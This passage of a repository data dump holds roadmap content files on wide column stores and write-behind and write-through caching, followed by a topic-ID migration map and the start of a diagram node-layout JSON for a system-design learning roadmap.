    "content": "# Wide Column Store\n\nA wide column store's basic unit of data is a column (name/value pair). A column can be grouped in column families (analogous to a SQL table). Super column families further group column families. You can access each column independently with a row key, and columns with the same row key form a row. Each value contains a timestamp for versioning and for conflict resolution.\n\nGoogle introduced Bigtable as the first wide column store, which influenced the open-source HBase often-used in the Hadoop ecosystem, and Cassandra from Facebook. Stores such as BigTable, HBase, and Cassandra maintain keys in lexicographic order, allowing efficient retrieval of selective key ranges.\n\nVisit the following resources to learn more:\n\n- [@article@Bigtable architecture](https://www.read.seas.harvard.edu/~kohler/class/cs239-w08/chang06bigtable.pdf)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/write-behind@vNndJ-MWetcbaF2d-3-JP.md",
    "content": "# Write-behind\n\nIn write-behind, the application does the following:\n\n*   Add/update entry in cache\n*   Asynchronously write entry to the data store, improving write performance\n\nDisadvantages of write-behind:\n------------------------------\n\n*   There could be data loss if the cache goes down prior to its contents hitting the data store.\n*   It is more complex to implement write-behind than it is to implement cache-aside or write-through.\n\n![Scalability, availability, stability, patterns](https://i.imgur.com/XDsb7RS.png)\n\nVisit the following resources to learn more:\n\n- [@article@Scalability, availability, stability, patterns](http://www.slideshare.net/jboner/scalability-availability-stability-patterns/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/write-through@RNITLR1FUQWkRbSBXTD_z.md",
    "content": "# Write-through\n\nThe application uses the cache as the main data store, reading and writing data to it, while the cache is responsible for reading and writing to the database:\n\n*   Application adds/updates entry in cache\n*   Cache synchronously writes entry to data store\n*   Return\n\nApplication code:\n\n    set_user(12345, {\"foo\": \"bar\"})\n    \n\nCache code:\n\n    def set_user(user_id, values):\n        user = db.query(\"UPDATE Users WHERE id = {0}\", user_id, values)\n        cache.set(user_id, user)\n    \n\nWrite-through is a slow overall operation due to the write operation, but subsequent reads of just written data are fast. Users are generally more tolerant of latency when updating data than reading data. Data in the cache is not stale.\n\nDisadvantages\n-------------\n\n*   When a new node is created due to failure or scaling, the new node will not cache entries until the entry is updated in the database. Cache-aside in conjunction with write through can mitigate this issue.\n*   Most data written might never be read, which can be minimized with a TTL.\n\n![Write through](https://i.imgur.com/Ujf0awN.png)\n\nVisit the following resources to learn more:\n\n- [@article@Scalability, availability, stability, patterns](http://www.slideshare.net/jboner/scalability-availability-stability-patterns/)"
  },
  {
    "path": "src/data/roadmaps/system-design/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/system-design/migration-mapping.json",
    "content": "{\n  \"introduction\": \"_hYN0gEi9BL24nptEtXWU\",\n  \"introduction:what-is-system-design\": \"idLHBxhvcIqZTqmh_E8Az\",\n  \"introduction:how-to-approach-system-design\": \"os3Pa6W9SSNEzgmlBbglQ\",\n  \"performance-vs-scalability\": \"e_15lymUjFc6VWqzPnKxG\",\n  \"latency-vs-throughput\": \"O3wAHLnzrkvLWr4afHDdr\",\n  \"availability-vs-consistency\": \"uJc27BNAuP321HQNbjftn\",\n  \"availability-vs-consistency:cap-theorem\": \"tcGdVQsCEobdV9hgOq3eG\",\n  \"consistency-patterns\": \"GHe8V-REu1loRpDnHbyUn\",\n  \"consistency-patterns:weak-consistency\": \"EKD5AikZtwjtsEYRPJhQ2\",\n  \"consistency-patterns:eventual-consistency\": \"rRDGVynX43inSeQ9lR_FS\",\n  \"consistency-patterns:strong-consistency\": \"JjB7eB8gdRCAYf5M0RcT7\",\n  \"availability-patterns\": \"ezptoTqeaepByegxS5kHL\",\n  \"availability-patterns:fail-over\": \"L_jRfjvMGjFbHEbozeVQl\",\n  \"availability-patterns:replication\": \"0RQ5jzZKdadYY0h_QZ0Bb\",\n  \"availability-patterns:availability-in-numbers\": \"uHdrZllrZFAnVkwIB3y5-\",\n  \"background-jobs\": \"DOESIlBThd_wp2uOSd_CS\",\n  \"background-jobs:event-driven\": \"NEsPjQifNDlZJE-2YLVl1\",\n  \"background-jobs:schedule-driven\": \"zoViI4kzpKIxpU20T89K_\",\n  \"background-jobs:returning-results\": \"2gRIstNT-fTkv5GZ692gx\",\n  \"domain-name-system\": \"Uk6J8JRcKVEFz4_8rLfnQ\",\n  \"content-delivery-networks\": \"O730v5Ww3ByAiBSs6fwyM\",\n  \"content-delivery-networks:push-cdns\": \"uIerrf_oziiLg-KEyz8WM\",\n  \"content-delivery-networks:pull-cdns\": \"HkXiEMLqxJoQyAHav3ccL\",\n  \"load-balancers\": \"14KqLKgh090Rb3MDwelWY\",\n  \"load-balancers:lb-vs-reverse-proxy\": \"ocdcbhHrwjJX0KWgmsOL6\",\n  \"load-balancers:load-balancing-algorithms\": \"urSjLyLTE5IIz0TFxMBWL\",\n  \"load-balancers:layer-7-load-balancing\": \"e69-JVbDj7dqV_p1j1kML\",\n  \"load-balancers:layer-4-load-balancing\": \"MpM9rT1-_LGD7YbnBjqOk\",\n  \"load-balancers:horizontal-scaling\": \"IkUCfSWNY-02wg2WCo1c6\",\n  \"application-layer\": \"XXuzTrP5UNVwSpAk-tAGr\",\n  \"application-layer:microservices\": \"UKTiaHCzYXnrNw31lHriv\",\n  \"application-layer:service-discovery\": \"Nt0HUWLOl4O77elF8Is1S\",\n  \"databases\": \"5FXwwRMNBhG7LT5ub6t2L\",\n  \"databases:sql-vs-nosql\": \"KLnpMR2FxlQkCHZP6-tZm\",\n  \"databases:nosql:key-value-store\": \"KFtdmmce4bRkDyvFXZzLN\",\n  \"databases:nosql:document-store\": \"didEznSlVHqqlijtyOSr3\",\n  \"databases:nosql:wide-column-store\": \"WHq1AdISkcgthaugE9uY7\",\n  \"databases:nosql:graph-databases\": \"6RLgnL8qLBzYkllHeaI-Z\",\n  \"databases:rdbms:replication\": \"dc-aIbBwUdlwgwQKGrq49\",\n  \"databases:rdbms:sharding\": \"FX6dcV_93zOfbZMdM_-li\",\n  \"databases:rdbms:federation\": \"DGmVRI7oWdSOeIUn_g0rI\",\n  \"databases:rdbms:denormalization\": \"Zp9D4--DgtlAjE2nIfaO_\",\n  \"databases:rdbms:sql-tuning\": \"fY8zgbB13wxZ1CFtMSdZZ\",\n  \"idempotent-operations\": \"3pRi8M4xQXsehkdfUNtYL\",\n  \"asynchronism\": \"84N4XY31PwXRntXX1sdCU\",\n  \"asynchronism:back-pressure\": \"YiYRZFE_zwPMiCZxz9FnP\",\n  \"asynchronism:task-queues\": \"a9wGW_H1HpvvdYCXoS-Rf\",\n  \"asynchronism:message-queues\": \"37X1_9eCmkZkz5RDudE5N\",\n  \"caching:caching-strategies:refresh-ahead\": \"Bgqgl67FK56ioLNFivIsc\",\n  \"caching:caching-strategies:write-behind\": \"vNndJ-MWetcbaF2d-3-JP\",\n  \"caching:caching-strategies:write-through\": \"RNITLR1FUQWkRbSBXTD_z\",\n  \"caching:caching-strategies:cache-aside\": \"bffJlvoLHFldS0CluWifP\",\n  \"caching\": \"-X4g8kljgVBOBcf1DDzgi\",\n  \"caching:client-caching\": \"RHNRb6QWiGvCK3KQOPK3u\",\n  \"caching:cdn-caching\": \"Kisvxlrjb7XnKFCOdxRtb\",\n  \"caching:web-server-caching\": \"o532nPnL-d2vXJn9k6vMl\",\n  \"caching:database-caching\": \"BeIg4jzbij2cwc_a_VpYG\",\n  \"caching:application-caching\": \"5Ux_JBDOkflCaIm4tVBgO\",\n  \"communication\": \"uQFzD_ryd-8Dr1ppjorYJ\",\n  \"communication:http\": \"I_nR6EwjNXSG7_hw-_VhX\",\n  \"communication:tcp\": \"2nF5uC6fYKbf0RFgGNHiP\",\n  \"communication:udp\": \"LC5aTmUKNiw9RuSUt3fSE\",\n  \"communication:rpc\": \"ixqucoAkgnphWYAFnsMe-\",\n  \"communication:rest\": \"6-bgmfDTAQ9zABhpmVoHV\",\n  \"communication:grpc\": \"Hw2v1rCYn24qxBhhmdc28\",\n  \"communication:graphql\": \"jwv2g2Yeq-6Xv5zSd746R\",\n  \"performance-antipatterns\": \"p--uEm6klLx_hKxKJiXE5\",\n  \"performance-antipatterns:busy-database\": \"hxiV2uF7tvhZKe4K-4fTn\",\n  \"performance-antipatterns:busy-frontend\": \"i_2M3VloG-xTgWDWp4ngt\",\n  \"performance-antipatterns:chatty-io\": \"0IzQwuYi_E00bJwxDuw2B\",\n  \"performance-antipatterns:extraneous-fetching\": \"6u3XmtJFWyJnyZUnJcGYb\",\n  \"performance-antipatterns:improper-instantiation\": \"lwMs4yiUHF3nQwcvauers\",\n  \"performance-antipatterns:monolithic-persistence\": \"p1QhCptnwzTGUXVMnz_Oz\",\n  \"performance-antipatterns:no-caching\": \"klvHk1_e03Jarn5T46QNi\",\n  \"performance-antipatterns:noisy-neighbor\": \"r7uQxmurvfsYtTCieHqly\",\n  \"performance-antipatterns:retry-storm\": \"LNmAJmh2ndFtOQIpvX_ga\",\n  \"performance-antipatterns:synchronous-io\": \"Ihnmxo_bVgZABDwg1QGGk\",\n  \"monitoring\": \"hDFYlGFYwcwWXLmrxodFX\",\n  \"monitoring:health-monitoring\": \"hkjYvLoVt9xKDzubm0Jy3\",\n  \"monitoring:availability-monitoring\": \"rVrwaioGURvrqNBufF2dj\",\n  \"monitoring:performance-monitoring\": \"x1i3qWFtNNjd00-kAvFHw\",\n  \"monitoring:security-monitoring\": \"I_NfmDcBph8-oyFVFTknL\",\n  \"monitoring:usage-monitoring\": \"eSZq74lROh5lllLyTBK5a\",\n  \"monitoring:instrumentation\": \"Q0fKphqmPwjTD0dhqiP6K\",\n  \"monitoring:visualization-and-alerts\": \"IwMOTpsYHApdvHZOhXtIw\",\n  \"cloud-design-patterns\": \"THlzcZTNnPGLRiHPWT-Jv\",\n  \"cloud-design-patterns:messaging\": \"dsWpta3WIBvv2K9pNVPo0\",\n  \"cloud-design-patterns:messaging:sequential-convoy\": \"VgvUWAC6JYFyPZKBRoEqf\",\n  \"cloud-design-patterns:messaging:scheduling-agent-supervisor\": \"uR1fU6pm7zTtdBcNgSRi4\",\n  \"cloud-design-patterns:messaging:queue-based-load-leveling\": \"LncTxPg-wx8loy55r5NmV\",\n  \"cloud-design-patterns:messaging:publisher-subscriber\": \"2ryzJhRDTo98gGgn9mAxR\",\n  \"cloud-design-patterns:messaging:priority-queue\": \"DZcZEOi7h3u0744YhASet\",\n  \"cloud-design-patterns:messaging:pipes-and-filters\": \"siXdR3TB9-4wx_qWieJ5w\",\n  \"cloud-design-patterns:messaging:competing-consumers\": \"9Ld07KLOqP0ICtXEjngYM\",\n  \"cloud-design-patterns:messaging:choreography\": \"aCzRgUkVBvtHUeLU6p5ZH\",\n  \"cloud-design-patterns:messaging:claim-check\": \"kl4upCnnZvJSf2uII1Pa0\",\n  \"cloud-design-patterns:messaging:asynchronous-request-reply\": \"eNFNXPsFiryVxFe4unVxk\",\n  \"cloud-design-patterns:data-management\": \"W0cUCrhiwH_Nrzxw50x3L\",\n  \"cloud-design-patterns:data-management:valet-key\": \"stZOcr8EUBOK_ZB48uToj\",\n  \"cloud-design-patterns:data-management:static-content-hosting\": \"-lKq-LT7EPK7r3xbXLgwS\",\n  \"cloud-design-patterns:data-management:sharding\": \"R6YehzA3X6DDo6oGBoBAx\",\n  \"cloud-design-patterns:data-management:materialized-view\": \"WB7vQ4IJ0TPh2MbZvxP6V\",\n  \"cloud-design-patterns:data-management:index-table\": \"AH0nVeVsfYOjcI3vZvcdz\",\n  \"cloud-design-patterns:data-management:event-sourcing\": \"7OgRKlwFqrk3XO2z49EI1\",\n  \"cloud-design-patterns:data-management:cqrs\": \"LTD3dn05c0ruUJW0IQO7z\",\n  \"cloud-design-patterns:data-management:cache-aside\": \"PK4V9OWNVi8StdA2N13X2\",\n  \"cloud-design-patterns:design-and-implementation\": \"PtJ7-v1VCLsyaWWYHYujV\",\n  \"cloud-design-patterns:design-and-implementation:strangler-fig\": \"VIbXf7Jh9PbQ9L-g6pHUG\",\n  \"cloud-design-patterns:design-and-implementation:sidecar\": \"AAgOGrra5Yz3_eG6tD2Fx\",\n  \"cloud-design-patterns:design-and-implementation:static-content-hosting\": \"izPT8NfJy1JC6h3i7GJYl\",\n  \"cloud-design-patterns:design-and-implementation:leader-election\": \"beWKUIB6Za27yhxQwEYe3\",\n  \"cloud-design-patterns:design-and-implementation:pipes-and-filters\": \"WkoFezOXLf1H2XI9AtBtv\",\n  \"cloud-design-patterns:design-and-implementation:gateway-offloading\": \"0SOWAA8hrLM-WsG5k66fd\",\n  \"cloud-design-patterns:design-and-implementation:gateway-routing\": \"LXH_mDlILqcyIKtMYTWqy\",\n  \"cloud-design-patterns:design-and-implementation:gateway-aggregation\": \"bANGLm_5zR9mqMd6Oox8s\",\n  \"cloud-design-patterns:design-and-implementation:external-configuration-store\": \"BrgXwf7g2F-6Rqfjryvpj\",\n  \"cloud-design-patterns:design-and-implementation:compute-resource-consolidation\": \"ODjVoXnvJasPvCS2A5iMO\",\n  \"cloud-design-patterns:design-and-implementation:cqrs\": \"ivr3mh0OES5n86FI1PN4N\",\n  \"cloud-design-patterns:design-and-implementation:backends-for-frontend\": \"n4It-lr7FFtSY83DcGydX\",\n  \"cloud-design-patterns:design-and-implementation:anti-corruption-layer\": \"4hi7LvjLcv8eR6m-uk8XQ\",\n  \"cloud-design-patterns:design-and-implementation:ambassador\": \"Hja4YF3JcgM6CPwB1mxmo\",\n  \"cloud-design-patterns:reliability-patterns\": \"DYkdM_L7T2GcTPAoZNnUR\",\n  \"cloud-design-patterns:reliability-patterns:availability\": \"Xzkvf4naveszLGV9b-8ih\",\n  \"cloud-design-patterns:reliability-patterns:availability:deployment-stamps\": \"FPPJw-I1cw8OxKwmDh0dT\",\n  \"cloud-design-patterns:reliability-patterns:availability:geodes\": \"Ml9lPDGjRAJTHkBnX51Un\",\n  \"cloud-design-patterns:reliability-patterns:availability:health-endpoint-monitoring\": \"cNJQoMNZmxNygWAJIA8HI\",\n  \"cloud-design-patterns:reliability-patterns:availability:queue-based-load-leveling\": \"-M3Zd8w79sKBAY6_aJRE8\",\n  \"cloud-design-patterns:reliability-patterns:availability:throttling\": \"6YVkguDOtwveyeP4Z1NL3\",\n  \"cloud-design-patterns:reliability-patterns:high-availability\": \"wPe7Xlwqws7tEpTAVvYjr\",\n  \"cloud-design-patterns:reliability-patterns:high-availability:deployment-stamps\": \"Ze471tPbAwlwZyU4oIzH9\",\n  \"cloud-design-patterns:reliability-patterns:high-availability:geodes\": \"6hOSEZJZ7yezVN67h5gmS\",\n  \"cloud-design-patterns:reliability-patterns:high-availability:health-endpoint-monitoring\": \"uK5o7NgDvr2pV0ulF0Fh9\",\n  \"cloud-design-patterns:reliability-patterns:high-availability:bulkhead\": \"IR2_kgs2U9rnAJiDBmpqK\",\n  \"cloud-design-patterns:reliability-patterns:high-availability:circuit-breaker\": \"D1OmCoqvd3-_af3u0ciHr\",\n  \"cloud-design-patterns:reliability-patterns:resiliency\": \"wlAWMjxZF6yav3ZXOScxH\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:bulkhead\": \"PLn9TF9GYnPcbpTdDMQbG\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:circuit-breaker\": \"O4zYDqvVWD7sMI27k_0Nl\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:compensating-transaction\": \"MNlWNjrG8eh5OzPVlbb9t\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:health-endpoint-monitoring\": \"CKCNk3obx4u43rBqUj2Yf\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:leader-election\": \"AJLBFyAsEdQYF6ygO0MmQ\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:queue-based-load-leveling\": \"NybkOwl1lgaglZPRJQJ_Z\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:retry\": \"xX_9VGUaOkBYFH3jPjnww\",\n  \"cloud-design-patterns:reliability-patterns:resiliency:scheduler-agent-supervisor\": \"RTEJHZ26znfBLrpQPtNvn\",\n  \"cloud-design-patterns:reliability-patterns:security\": \"ZvYpE6-N5dAtRDIwqcAu6\",\n  \"cloud-design-patterns:reliability-patterns:security:federated-identity\": \"lHPl-kr1ArblR7bJeQEB9\",\n  \"cloud-design-patterns:reliability-patterns:security:gatekeeper\": \"DTQJu0AvgWOhMFcOYqzTD\",\n  \"cloud-design-patterns:reliability-patterns:security:valet-key\": \"VltZgIrApHOwZ8YHvdmHB\"\n}"
  },
  {
    "path": "src/data/roadmaps/system-design/system-design.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"9_t9UR6FVSn41Ha8kfbyJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -72.56981288497383,\n        \"y\": 3316.7871372731006\n      },\n      \"width\": 277,\n      \"height\": 202,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 202\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": -72.56981288497383,\n        \"y\": 3316.7871372731006\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 202\n      }\n    },\n    {\n      \"id\": \"2dBw7KwXyXzZAZUSw0EAy\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 198.11213811444725,\n        \"y\": 3045.9996104690044\n      },\n      \"width\": 284,\n      \"height\": 474,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 474\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 198.11213811444725,\n        \"y\": 3045.9996104690044\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 474\n      }\n    },\n    {\n      \"id\": \"yy2gnfWzDpMa1KChmfrgy\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -71.63171528418138,\n        \"y\": 3045.5183671746804\n      },\n      \"width\": 273,\n      \"height\": 255,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 255\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": -71.63171528418138,\n        \"y\": 3045.5183671746804\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 255\n      }\n    },\n    {\n      \"id\": \"IG4lMqEfFCgQyz3tyiGgk\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -351.21273166220635,\n        \"y\": 3044.7840884377797\n      },\n      \"width\": 283,\n      \"height\": 255,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 255\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -351.21273166220635,\n        \"y\": 3044.7840884377797\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 255\n      }\n    },\n    {\n      \"id\": \"iCaCrvC5uord0zs0UtP4a\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 198.5,\n        \"y\": 2288.4915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 65\n      },\n      \"positionAbsolute\": {\n        \"x\": 198.5,\n        \"y\": 2288.4915694361566\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"wM_Z9VLxO_vpwR1Kfx_qK\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 342.5,\n        \"y\": 2288.4915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"iCaCrvC5uord0zs0UtP4a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 65\n      },\n      \"positionAbsolute\": {\n        \"x\": 342.5,\n        \"y\": 2288.4915694361566\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"FT5tOhtkEXCcUj3xRKsVW\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -341.19669367734,\n        \"y\": 2275.713852028059\n      },\n      \"width\": 334,\n      \"height\": 628,\n      \"style\": {\n        \"width\": 334,\n        \"height\": 628\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -341.19669367734,\n        \"y\": 2275.713852028059\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 334,\n        \"height\": 628\n      }\n    },\n    {\n      \"id\": \"UQKMEfR6t72oqk0qTfYi9\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 19.21310958899096,\n        \"y\": 2364.5836910533135\n      },\n      \"width\": 235,\n      \"height\": 461,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 460.5\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 19.21310958899096,\n        \"y\": 2364.5836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 461\n      }\n    },\n    {\n      \"id\": \"HAkZP9cC1VtsnANNLNKn2\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 249.79296473841032,\n        \"y\": 2363.4915694361566\n      },\n      \"width\": 286,\n      \"height\": 568,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 568\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 249.79296473841032,\n        \"y\": 2363.4915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 568\n      }\n    },\n    {\n      \"id\": \"-0XsGJCcC8hIaPgNPMsoC\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 23.85602569580078,\n        \"y\": 1707.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"ii6jsjup_8pRe5mBK0iJt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 23.85602569580078,\n        \"y\": 1707.6321590449484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"gvSx-FcbHjuuSYICrv2BW\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 144.5499950268134,\n        \"y\": 1708.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"-0XsGJCcC8hIaPgNPMsoC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 144.5499950268134,\n        \"y\": 1708.6321590449484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"ii6jsjup_8pRe5mBK0iJt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 79,\n        \"y\": 1575.3071977542106\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 85,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"positionAbsolute\": {\n        \"x\": 79,\n        \"y\": 1575.3071977542106\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"id\": \"O3b90NuLijJq9a-WuPXDs\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -303.0983379795378,\n        \"y\": 1581.6321741814686\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 214,\n      \"height\": 126,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 126\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -303.0983379795378,\n        \"y\": 1581.6321741814686\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 126\n      }\n    },\n    {\n      \"id\": \"rLSI7a7h09MxAXM86LfpN\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 502.52556355171316,\n        \"y\": 1481.6321590449484\n      },\n      \"width\": 251,\n      \"height\": 331,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 331\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.52556355171316,\n        \"y\": 1481.6321590449484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 331\n      }\n    },\n    {\n      \"id\": \"vwomvb6mMBiKcd9jg7iWI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 502.52556355171316,\n        \"y\": 1220.615307718412\n      },\n      \"width\": 251,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 270\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.52556355171316,\n        \"y\": 1220.615307718412\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 270\n      }\n    },\n    {\n      \"id\": \"fXbUXsM1KbLqTyeOIGMJN\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -94.44015059681118,\n        \"y\": 1143.7994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 70,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 70,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -94.44015059681118,\n        \"y\": 1143.7994626720824\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 70,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Abp4pD1x7gM8zFInV-6SK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -302.4401505968112,\n        \"y\": 891.2722684546688\n      },\n      \"width\": 209,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 270\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -302.4401505968112,\n        \"y\": 891.2722684546688\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 270\n      }\n    },\n    {\n      \"id\": \"FWDXTm_Fu7E2X0r6L4xkf\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -302.683453649206,\n        \"y\": 1151.5927435005694\n      },\n      \"width\": 209,\n      \"height\": 330,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 330\n      },\n      \"selected\": false,\n      \"data\": 